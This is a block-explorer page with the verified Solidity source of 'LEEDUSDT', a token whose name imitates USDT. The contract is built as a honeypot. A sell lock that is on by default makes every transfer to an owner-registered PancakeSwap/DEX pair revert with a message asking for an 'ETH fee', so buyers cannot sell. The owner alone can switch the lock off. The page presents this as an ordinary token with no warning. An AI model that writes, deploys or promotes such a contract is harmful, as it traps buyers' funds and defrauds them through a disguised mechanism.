Skip to content
Verified contractExactMIT

LEEDUSDT

Address0x1db6db0260fe8d96b44b355c9e86daa92d34fb4f
Balance

0 ETH

 

Transactions

5

 

Compiler

solc 0.8.19

 

Same code

Only this contract

 

Details

Compiler
solc 0.8.19+commit.7dd6d404
Language
solidity
Optimization
No
License
MIT
Match
Exactcreation code: yes, runtime code: yes
Verified on Sourcify
Created in block
25,927,981
Creation transaction
0x64ec95d80f…c8460880bd

leed.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

contract LEEDUSDT {

    string public constant name = "LEEDUSDT";
    string public constant symbol = "LEEDUSDT";
    uint8 public constant decimals = 18;

    // 100 Trillion LEEDUSDT
    uint256 public constant totalSupply =
        100_000_000_000_000 * 10 ** 18;

    address public owner;

    // true = Sell Locked
    // false = Sell Unlocked
    bool public sellLockEnabled = true;

    mapping(address => uint256) public balanceOf;

    mapping(address => mapping(address => uint256))
        public allowance;

    // PancakeSwap / DEX LP pair addresses
    mapping(address => bool) public isMarketPair;

    event Transfer(
        address indexed from,
        address indexed to,
        uint256 value
    );

    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    event MarketPairUpdated(
        address indexed pair,
        bool enabled
    );

    event SellLockUpdated(bool enabled);

    modifier onlyOwner() {
        require(
            msg.sender == owner,
            "LEEDUSDT: NOT OWNER"
        );
        _;
    }

    constructor() {
        owner = msg.sender;

        balanceOf[msg.sender] = totalSupply;

        emit Transfer(
            address(0),
            msg.sender,
            totalSupply
        );

        emit OwnershipTransferred(
            address(0),
            msg.sender
        );
    }

    // =========================
    // TRANSFER
    // =========================

    function transfer(
        address recipient,
        uint256 amount
    )
        external
        returns (bool)
    {
        _transfer(
            msg.sender,
            recipient,
            amount
        );

        return true;
    }

    // =========================
    // APPROVE
    // =========================

    function approve(
        address spender,
        uint256 amount
    )
        external
        returns (bool)
    {
        require(
            spender != address(0),
            "LEEDUSDT: ZERO ADDRESS"
        );

        allowance[msg.sender][spender] = amount;

        emit Approval(
            msg.sender,
            spender,
            amount
        );

        return true;
    }

    // =========================
    // TRANSFER FROM
    // =========================

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    )
        external
        returns (bool)
    {
        uint256 currentAllowance =
            allowance[sender][msg.sender];

        require(
            currentAllowance >= amount,
            "LEEDUSDT: ALLOWANCE"
        );

        if (
            currentAllowance !=
            type(uint256).max
        ) {
            unchecked {
                allowance[sender][msg.sender] =
                    currentAllowance - amount;
            }

            emit Approval(
                sender,
                msg.sender,
                allowance[sender][msg.sender]
            );
        }

        _transfer(
            sender,
            recipient,
            amount
        );

        return true;
    }

    // =========================
    // INTERNAL TRANSFER
    // =========================

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    )
        internal
    {
        require(
            sender != address(0),
            "LEEDUSDT: ZERO SENDER"
        );

        require(
            recipient != address(0),
            "LEEDUSDT: ZERO RECIPIENT"
        );

        require(
            amount > 0,
            "LEEDUSDT: ZERO AMOUNT"
        );

        require(
            balanceOf[sender] >= amount,
            "LEEDUSDT: BALANCE"
        );

        /*
            SELL LOCK:

            Agar LEEDUSDT registered
            PancakeSwap/DEX pair ko
            transfer ho raha hai,
            to ye sell maana jayega.

            Sell Lock ON hone par
            transaction revert hogi.
        */

        if (
            sellLockEnabled &&
            isMarketPair[recipient]
        ) {
            revert(
                "Sell Error py ETH fee for SELL"
            );
        }

        unchecked {
            balanceOf[sender] -= amount;
        }

        balanceOf[recipient] += amount;

        emit Transfer(
            sender,
            recipient,
            amount
        );
    }

    // =========================
    // SET MARKET PAIR
    // =========================

    function setMarketPair(
        address pair,
        bool enabled
    )
        external
        onlyOwner
    {
        require(
            pair != address(0),
            "LEEDUSDT: ZERO PAIR"
        );

        isMarketPair[pair] = enabled;

        emit MarketPairUpdated(
            pair,
            enabled
        );
    }

    // =========================
    // SELL LOCK ON / OFF
    // =========================

    function setSellLock(
        bool enabled
    )
        external
        onlyOwner
    {
        sellLockEnabled = enabled;

        emit SellLockUpdated(enabled);
    }

    // =========================
    // TRANSFER OWNERSHIP
    // =========================

    function transferOwnership(
        address newOwner
    )
        external
        onlyOwner
    {
        require(
            newOwner != address(0),
            "LEEDUSDT: ZERO OWNER"
        );

        address previousOwner = owner;

        owner = newOwner;

        emit OwnershipTransferred(
            previousOwner,
            newOwner
        );
    }

    // =========================
    // RENOUNCE OWNERSHIP
    // =========================

    function renounceOwnership()
        external
        onlyOwner
    {
        address previousOwner = owner;

        owner = address(0);

        emit OwnershipTransferred(
            previousOwner,
            address(0)
        );
    }
}
Compiler settingsShow
{
  "optimizer": {
    "runs": 200,
    "enabled": false
  },
  "remappings": []
}

Source code and metadata: Sourcify.

The source code belongs to the authors of the contract.